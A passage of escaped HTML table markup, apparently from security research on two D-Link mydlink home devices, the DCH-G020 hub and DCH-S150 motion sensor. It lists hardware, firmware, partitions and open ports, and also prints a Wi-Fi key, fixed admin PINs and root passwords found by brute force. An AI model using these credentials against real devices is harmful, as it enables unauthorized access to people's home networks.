&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;mydlink&amp;lt;sup&amp;gt;TM&amp;lt;/sup&amp;gt; Home Connected Hub&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;mydlink&amp;lt;sup&amp;gt;TM&amp;lt;/sup&amp;gt; Home Wi-Fi Motion Sensor&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Price on Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;90 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;40 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2015 Q2 (Discontinued but supported)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2014 Q3 (Discontinued but supported)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;State of Research&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;UART, U-Boot, root, ro FS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wrote tool to exploit HNAP&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;USB B, 2x FE&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Buttons&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;WPS, Z-Wave pairing, Reset&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;WPS, Reset&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;LED&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Status&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Status&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Power&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;5V/2A (3W max.)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;230V AC, 50/60Hz&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz 802.11 b/g/n up to 300Mbit/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz 802.11 b/g/n&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Z-Wave: 868.40 MHz&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;FCC-ID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;KA2CHG020A1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;KA2CHS150A1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;System&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;QCA953x&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;QCA953x&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Processor&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;MIPS 24Kc V7.4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;MIPS 24Kc V7.4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BogoMIPS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;365.56&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;365.56&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Memory&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;DRAM: 64M&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;DRAM: 32M&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Storage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Flash: 16MB (NOR)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Flash: 8MB (NOR)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ethernet MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;eth0 | eth1 | br0: c4:12:f5:1a:58:f4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Device 1: eth0 | eth1 | br0: c4:12:f5:1c:8e:4c&amp;lt;br&amp;gt;Device 2: eth0 | eth1 | br0: c4:12:f5:1c:8e:56&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;wifi0: c4:12:f5:1a:58:f4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Device 1: wifi0: 06:12:f5:1c:8e:56&amp;lt;br&amp;gt;Device 2: wifi0: 06:12:f5:1c:8e:4c&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN SSID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;DCH-G020-58F4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Device 1: DCH-S150-8E56&amp;lt;br&amp;gt;Device 2: DCH-S150-8E4C&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN PSK&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;8482c238&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;None&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Default IPv4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;192.168.0.80/24&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;192.168.0.60/24&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hostname&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;DCH-G020&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;DCH-S150&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;NET Protocols&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;HNAP; HTTP; UPnP&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;HNAP; HTTP&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Interfaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;ttyS0: console;&amp;lt;br&amp;gt; ath0: VAP device;&amp;lt;br&amp;gt; sit0: IPv6-in-IPv4&amp;lt;br&amp;gt; ttyACM0: USB ACM device;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;ttyS0: console; &amp;lt;br&amp;gt;ath0 | ath1: VAP device; &amp;lt;br&amp;gt;sit0: IPv6-in-IPv4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;80 http llighttpd 1.4.48;&amp;lt;br&amp;gt;49152 upnpd (UPnP 1.0)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;80 http llighttpd 1.4.48&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webpage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;http://192.168.0.60&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;http://192.168.0.80/Login.html&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webaccess&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Admin: &amp;quot;139885&amp;quot; (unchangable)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Admin: &amp;quot;653508&amp;quot; (unchangable)&amp;lt;br&amp;gt;Admin: &amp;quot;770383&amp;quot; (unchangable)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Root Password&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;whatsup (brute-force)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;qsefthuko; (brute-force)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other Login Pw&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;adm | bin | deamon | nobody: None&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;adm | bin | deamon | nobody: None&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Firmware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;1.00&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;1.06&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hardware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;A1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;A1 (others A2, B)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Baudrate&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Linux: 115200 bps (8N1)&amp;lt;br&amp;gt;U-Boot: 115200 bps (7N1)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Linux: 115200 bps (8N1)&amp;lt;br&amp;gt;U-Boot: 115200 bps (7N1)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootdelay&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;3s (Any key)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;3s (Any key)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;U-Boot&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;1.1.4-LSDK-10.1.432 (Mar 17 2015)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;1.1.4–LSDK-10.1.432 (Apr 8 2014)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;mtdparts&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;ath-nor0: &amp;lt;br&amp;gt;64k(u-boot), &amp;lt;br&amp;gt;64k(ART), 64k(MP), &amp;lt;br&amp;gt;64k(config), &amp;lt;br&amp;gt;64k(bootarg), &amp;lt;br&amp;gt;2048k(uImage), &amp;lt;br&amp;gt;12736k(rootfs1), &amp;lt;br&amp;gt;64k(log), &amp;lt;br&amp;gt;512k(mydlink), &amp;lt;br&amp;gt;512k(data1), &amp;lt;br&amp;gt;128k(data2), &amp;lt;br&amp;gt;64k(data3)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;ath-nor0:&amp;lt;br&amp;gt;64k(u-boot),&amp;lt;br&amp;gt;64k(ART),64k(MP),&amp;lt;br&amp;gt;64k(config),&amp;lt;br&amp;gt;64k(log),&amp;lt;br&amp;gt;896k(bk_uImage), &amp;lt;br&amp;gt;1536k(bk_rootfs), &amp;lt;br&amp;gt;896k(uImage),&amp;lt;br&amp;gt;4032k(rootfs), 2432k@0x50000(bk_firmware),&amp;lt;br&amp;gt;4928k@0x2b0000(firmware),&amp;lt;br&amp;gt;512k@0x780000(mydlink)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Filesystem&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;squashfs (root): version 4.0 (2009/01/31) &amp;lt;br&amp;gt;JFFS2 (mtd8 to /dch) version 2.2 (NAND)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;squashfs (root): version 4.0 (2009/01/31)&amp;lt;br&amp;gt;JFFS2 (mtd11 to /dch) version 2.2 (NAND)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Image&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Linux kernel image (2016-06-29)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Linux Kernel Image (2018-01-03)&amp;lt;br&amp;gt;(Backup mode Linux kernel available)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Linux&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.6.31 (Jun 29 2016)&amp;lt;br&amp;gt;(adminuser@adminuser-VirtualBox)&amp;lt;br&amp;gt;(gcc version 4.3.3 (GCC))&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.6.31 (Jan 3 2018)&amp;lt;br&amp;gt;(root@minlee-Mint17)&amp;lt;br&amp;gt;(gcc version 4.3.3 (GCC))&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px;&amp;gt;&lt;br /&gt;
